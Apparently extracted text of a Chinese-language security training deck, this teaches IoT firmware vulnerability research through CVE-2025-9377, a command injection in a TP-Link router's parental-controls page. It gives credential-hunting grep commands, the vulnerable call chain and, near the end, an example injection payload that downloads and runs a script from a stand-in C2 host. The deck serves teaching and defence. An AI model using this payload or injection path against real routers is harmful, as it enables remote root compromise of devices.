開放式 I o T  安全標準框架

I1
弱密碼與硬編碼憑證
預設密碼、無密碼、弱密碼政策或程式碼中的硬編碼帳密

I2
不安全的網路服務
不必要的開放port、使用不安全協定 (Telnet/FTP)

I3
不安全的生態系介面
Web/API/雲端/行動端介面缺少認證或輸入驗證

I4
缺乏安全更新機制
無法更新韌體、傳輸未加密、未驗證簽章

I5
使用不安全舊版元件
含已知 CVE 的舊版 OS/Library，無 SBOM 管理

I6
隱私保護不足
過度蒐集個資、未加密儲存、未告知使用者

I7
不安全資料傳輸/儲存
無 TLS/SSL、使用弱加密、金鑰硬編碼或明文儲存

I8
缺乏裝置管理能力
無法遠端停用裝置、無資產清冊、無安全監控

I9
不安全的預設設定
不安全的出廠預設值、非必要功能預設啟用

I10
缺乏實體強化機制
缺乏實體存取控制、JTAG/UART debug 介面暴露



實作漏洞挖掘

C V E - 2 0 2 5 - 9 3 7 7  ·  T P - L i n k  Ro u te r  ·  家長監護網路頁面 R C E  



CVE-2025-9377 漏洞背景摘要
T P - L i n k  R o u t e r  家長監護功能 — 未授權遠端程式執行

• 對於Zero/N-day漏洞而言可以取得漏洞情資的資料庫搜尋
• 透過github或者研究報告中找到poc
• 如果找不到poc的話可以從description中找到線索進行漏洞挖掘與研究



CVE-2025-9377 漏洞背景摘要
T P - L i n k  R o u t e r  家長監護功能 — 未授權遠端程式執行

CVE ID

CVE-2025-9377

CVSS

8.6 High

類型

RCE (需認證)

影響版本

TP-Link Archer 系列

加入KEV時間

2025/09

漏洞背景說明

受影響裝置：

漏洞位置：

漏洞原因：

觸發條件：

影響後果：

TP-Link Archer C7(EU) V2韌體版本 241108 之前的所有版本(EoL)
TP-Link TL-WR841N/ND(MS) V9韌體版本 241108 之前的所有版本(EoL)

管理介面 Web UI 家長監護 (Parental Controls) 頁面
• 注入點為該頁面的 url_0 參數直接拼接到 /tmp/wr841n/parent.sh 這個

shell script 中再 sh 執行該 script，導致命令注入（Command Injection）
漏洞

未對使用者輸入特殊符號進行限制與過濾，以至於可於可注入惡意指令

需要有效的管理介面登入憑證
攻擊者可以先透過在/tmp/dropbar/dropbearpwd中取得憑證在進行RCE

以 root 身份執行任意指令，可植入後門、加入殭屍網路、橫向移動至內網



CVE-2025-9377 測試流程

1

韌體取得

官網下載
Binwalk解包

2

靜態分析

使用指令查找
httpd相關檔案路徑

3

逆向工程

使用Ghidra 確認
httpd函數邏輯

4

FAT 模擬

使用Firmadyne 建立
QEMU 模擬環境

5

動態驗證

透過傳送payload
測試觸發狀態

6

通報

撰寫測試報告並通報



韌體初步拆解
目標：TL-WR841N 韌體

1 binwalk -t firmware.bin

識別韌體結構
• 確認是U-Boot bootloader
• Linux kernel（MIPS 架構、3.3.8 版）
• squashfs  v4.0檔案系統使用LZMA資料壓
縮



2
binwalk -E firmware.bin

韌體初步拆解
目標：TL-WR841N 韌體

熵值分析
檢驗資料的不確定性與隨機性

• 熵值高（接近 1.0）表示資料經高度壓
縮或加密

• 熵值低（接近 0.0）表示資料為未壓縮
的純文字、程式碼或填滿 0x00/0xFF 的
空區塊。

• 曲線有波動=壓縮
• 平坦=加密



韌體初步拆解
目標：TL-WR841N 韌體

3
binwalk -e firmware.bin

自動解包萃取檔案系統到 _firmware.extracted/



韌體初步拆解
目標：TL-WR841N 韌體

4
unsquashfs filesystem.squashfs

手動解開 SquashFS → squashfs-root/



靜態分析 — 韌體內容漏洞挖掘
依照O W A S P I o T T O P 1 0檢視二進位結構與檔案內容

1
弱密碼/預設認證

檢測:
/etc/passwd
/etc/shadow
弱雜湊演算法
硬編碼密碼字串

2
不安全網路服務

找telnerd/ftpd啟動設定
搜尋未加密網路協議
掃描inetd.conf(inetd管理多種網路服務)

3
不安全系統頁面

找硬編碼利用的介面端點URL
找WEB/API設定檔

4
裝置管理不足

找預設後門
找預設root帳號

常用指令工具

grep/strings

檢測硬編碼/API  KEY/ TOKEN

find

grep -rE "(password|passwd|secret|api.?key|token)\s*=\s*['\"][^'\"]{4,}" 

私鑰 / 憑證檔案
find rootfs/ -name "*.pem" -o -name "*.key" -o -name "*.crt" | xargs 
grep -l "PRIVATE KEY"

SSH 授權金鑰
find rootfs/ -name "authorized_keys" -o -name "id_rsa" 2>/dev/null

明文傳輸協議 (Telnet / FTP / HTTP)
grep -rE "telnet|ftp://|http://" /etc/ /usr/

找 /tmp 或 /var 中存放敏感資料的腳本
grep -rE "(/tmp|/var/run)/.*pass|token|key" rootfs/ 2>/dev/null

找預置 SSH authorized_keys（後門公鑰）
find rootfs/ -name "authorized_keys" 2>/dev/null | xargs cat



靜態分析 — 韌體內容漏洞挖掘
依照O W A S P  I o T  T O P 1 0檢視二進位結構與檔案內容

弱密碼/預設認證

MD5湊過後的結果



靜態分析-CVE-2025-9377漏洞

# TP-Link CVE-2025-9377漏洞的web檔案路徑

• 確認 httpd 存在與架構
⚬ find . -name httpd -type f

• 找到所有處理 parental control 的字串
⚬ grep -r -E "url_[0-

9]|ParentCtrlRpm|parent.sh|buildParentCtrl|iptabl
es" . --include="*" 2>/dev/null

• 對該檔案路徑進行初步分析
⚬ strings ./usr/bin/httpd | grep -E 

"httpGetEnv|swChkLegalDomain|buildParentCtrlIptab
lesRule|refreshParentCtrlTbl|parent.sh" 

⚬ 找處理函數
￭ strings usr/bin/httpd | grep -E 

"ParentCtrlRpmHandler|ParentCtrl|url_%d|buildP
arentCtrl"

⚬ 找函數執行注入點
￭ strings usr/bin/httpd | grep -E 

"parent\.sh|/tmp/wr841n|execFormatCmd|tp_syste
m|fprintf.*url"



逆向工程 — 理解未知程式邏輯

逆向工程主要流程說明 -以G h i d r a展示 T P - L i n k  C V E - 2 0 2 5 - 9 3 7 7



Ghidra 逆向工程分析

CODE CodeBrowser

主程式碼視圖

組合語言列表、記憶體位址、操作碼逐行顯示

DEC Decompiler

反編譯器

SYM Symbol Tree

符號樹

列出 Exports / Imports / Functions / Labels 分類
符號

STR Defined Strings

字串清單

所有硬編碼字串；搜尋密碼、IP、指令等關鍵
字

REF References (xref)

交叉引用

查看函式被哪些地方呼叫（Callers）及呼叫了
哪些函式

SCR Script Manager

腳本管理器

執行 Java / Python 腳本，批次自動化分析任務

將組合語言轉換為類 C 偽碼，是分析的核心視
窗



TP-Link CVE-2025-9377 逆向工程

1 File → New Project → Non-Shared

2 File → Import File → 選 usr/bin/httpd

3 Language:  MIPS:BE:32:default

4 Compiler:  gcc

5 Yes to Auto Analyze —等待完成

TP-Link CVE-2025-9377 Auto Analysis



TP-Link CVE-2025-9377 逆向工程

1 Search → For Strings → 搜關鍵字詞

2 查找靜態分析中的關鍵字詞

3 Language:  MIPS:BE:32:default

4 Compiler:  gcc

5 Yes to Auto Analyze —等待完成

TP-Link CVE-2025-9377 字串搜尋



TP-Link CVE-2025-9377 逆向工程

1 Search → For Strings → 搜關鍵字詞

2 查找字詞中的關鍵函數

3 Symbol Tree中搜尋函數

4 反組譯查看邏輯

5 函數交叉引用比對(XREF)

TP-Link CVE-2025-9377 字串搜尋



TP-Link CVE-2025-9377 逆向工程

1 Search → For Strings → 搜關鍵字詞

2 查找字詞中的關鍵函數

3 Symbol Tree中搜尋函數

4 反組譯查看邏輯

5 函數交叉引用比對(XREF)

TP-Link CVE-2025-9377 字串搜尋



TP-Link CVE-2025-9377 逆向工程

1 Search → For Strings → 搜關鍵字詞

2 查找字詞中的關鍵函數

3 Symbol Tree中搜尋函數

4 反組譯查看邏輯

5 函數交叉引用比對(XREF)

TP-Link CVE-2025-9377 字串搜尋



TP-Link CVE-2025-9377 逆向工程

1 Search → For Strings → 搜關鍵字詞

2 查找字詞中的關鍵函數

3 Symbol Tree中搜尋函數

4 反組譯查看邏輯

5 函數交叉引用比對(XREF)

TP-Link CVE-2025-9377 字串搜尋



TP-Link CVE-2025-9377 逆向工程

1 Search → For Strings → 搜關鍵字詞

2 查找字詞中的關鍵函數

3 Symbol Tree中搜尋函數

4 反組譯查看邏輯

5 函數交叉引用比對(XREF)

TP-Link CVE-2025-9377 字串搜尋



TP-Link CVE-2025-9377 逆向工程

1 Search → For Strings → 搜關鍵字詞

2 查找字詞中的關鍵函數

3 Symbol Tree中搜尋函數

4 反組譯查看邏輯

5 函數交叉引用比對(XREF)

TP-Link CVE-2025-9377 字串搜尋



TP-Link CVE-2025-9377 逆向工程

1 Search → For Strings → 搜關鍵字詞

2 查找字詞中的關鍵函數

3 Symbol Tree中搜尋函數

4 反組譯查看邏輯

5 函數交叉引用比對(XREF)

TP-Link CVE-2025-9377 字串搜尋



TP-Link CVE-2025-9377 逆向工程

1 Search → For Strings → 搜關鍵字詞

2 查找字詞中的關鍵函數

3 Symbol Tree中搜尋函數

4 反組譯查看邏輯

5 函數交叉引用比對(XREF)

TP-Link CVE-2025-9377 字串搜尋



HTTP 請求
GET/POST /userRpm/ParentCtrlRpm.htm

ParentCtrlRpmHandler

0x455EC8  ·  httpd

httpGetEnv()

取出 url_0 ~ url_7 參數值

swChkLegalDomain()

0x4779C8  ·  驗證域名格式

swSetParentCtrlEntry()

儲存至資料庫

refreshParentCtrlTbl()

0x4CCC24  ·  產生腳本

buildParentCtrlIptablesRule()

0x4CC670  ·  拼接命令字串

fprintf(parent.sh)

URL 未過濾直接寫入 Shell 腳本

execFormatCmd()
0x4CCED8  ·  sh /tmp/wr841n/parent.sh

tp_systemEx()

系統寫入函數

execve()

/bin/sh -c "cmd"

RCE

root 權限執行

繞過！

TP-Link CVE-2025-9377 逆向工程-函數邏輯解析

呼叫

呼叫

取出輸入字串

漏洞

收到url_%d 參數



韌體動態分析流程

1
取得韌體

官網下載、設備 TFTP dump、UART Flash 讀取
2

解包識別

binwalk -Me 解包，確認架構 MIPS/ARM/x86

3
建立模擬環境

FAT 自動啟動 QEMU，掛載檔案結構，模擬執行
4

驗證服務啟動

確認 httpd / telnetd 等服務正常監聽

5
網路通訊觀察

tcpdump 抓取流量，nmap 掃描開放埠號
6

動態 fuzzing

對 Web API 輸入邊界值，觀察異常回應

7
Process & 記憶體追蹤

strace / ltrace 監控系統呼叫與函式呼叫
8

漏洞驗證

構造 PoC Payload，確認 RCE / 崩潰可重現



FAT — Firmware Analysis Toolkit

FAT 是什麼？

開源韌體模擬框架

基於 FirmAE 技術，自動完成韌體模擬全流程

QEMU 自動化包裝

自動選擇 MIPS/ARM/x86 模擬器並配置網路

Web 服務自動啟動

自動偵測並啟動 httpd 等服務，提供測試端點

GitHub 開源

https://github.com/attify/firmware-analysis-toolkit

FAT 元件架構

fat.py 主入口腳本

協調所有元件，呼叫 FirmAE 並啟動模擬

FirmAE 模擬引擎

自動解包、識別架構、掛載 rootfs、啟動 QEMU

QEMU 硬體模擬層

模擬 MIPS/ARM 處理器、記憶體、I/O 周邊

Binwalk 解包工具

識別並解檔案系統 squashfs / cramfs / jffs2 等格式



FAT 執行流程

1

韌體解包

呼叫 binwalk -Me，自動解壓 squashfs ，
取得 rootfs 目錄

2

架構識別

分析 ELF 二進位 header，判斷 MIPS BE/LE 
或 ARM，選擇對應 QEMU

3

映像建立

使用 FirmAE 建立 ext2 映像，將 rootfs 複
製進去，準備啟動環境

4

網路橋接

建立虛擬網卡，配置 192.168.0.x 網段，
連接宿主機與 QEMU

5

QEMU 啟動

啟動 qemu-system-mips，掛載 ext2 映像
，載入 kernel 與 initramfs

6

服務啟動偵測

監控 httpd / lighttpd / telnetd 等服務啟動
，輸出可存取 IP 位址



FAT動態分析

TP-Link CVE-2025-9377  韌體動態分析

輸入指令解CVE-2025-9377韌體

自動識別架構為MIPS指令集

建立映像檔將squashfs檔案結構寫入

建立網路橋接192.168.0.1

QEMU啟動掛載檔案系統

利用dropbear存在的hardcorded登入



動態分析網路服務掃描

TP-Link CVE-2025-9377  韌體動態分析

httpd / lighttpd / telnetd 等服
務啟動連線狀態測試

查看網路服務

透過Nmap掃描192.168.0.1

版本服務識別

流量攔截分析



動態分析-web管理介面測試

TP-Link CVE-2025-9377  韌體動態分析

連線登入管理頁面

對網站進行OWASP top 10測試

訪問網頁存在問題端點

於該端點前端頁面進行輸入測試

測試安全防護架構與邊界

進行其他網站OWASP top10測試



動態分析-web管理介面測試

TP-Link CVE-2025-9377  韌體動態分析

連線登入管理頁面

對網站進行OWASP top 10測試

訪問網頁存在問題端點

於該端點前端頁面進行輸入測試

測試安全防護架構與邊界

進行其他網站OWASP top10測試



動態分析-web管理介面測試

TP-Link CVE-2025-9377  韌體動態分析

連線登入管理頁面

對網站進行OWASP top 10測試

訪問網頁存在問題端點

於該端點前端頁面進行輸入測試

測試安全防護架構與邊界

進行其他網站OWASP top10測試



動態分析Poc與Exploit

TP-Link CVE-2025-9377  韌體動態分析

識別網頁可觸發漏洞原因

對網站進行OWASP top 10測試

建立Payload測試

進入console察看結果

測試結果為以寫入tmp

檔案被寫入後續就會被用來做跳板 攻擊者常使用的方法(利用comman injection攻擊手法)
• 透過未過濾驗證的符號(；、|、&&)進行指令輸入
• 例如:POST /cgi-bin/test.cgi?ip=127.0.0.1;wget http://C2_IP/malicious.sh -O 

/tmp/m;sh /tmp/m



通報廠商取得CVE

TP-Link CVE-2025-9377  韌體動態分析

依照廠商通報方式進行回報

準備測試文件與PoC內容

若廠商驗證成功將進行修復並通知

順利修補或後即會通報取得CVE



簡報內容僅供教育研究用途，所有漏洞挖掘行為應在合法授權環境中進行

謝謝聆聽

THANK YOU FOR YOUR ATTENTION

講師 : 北區學術資訊安全維運中心林泰宇
時間: 2026/09/02


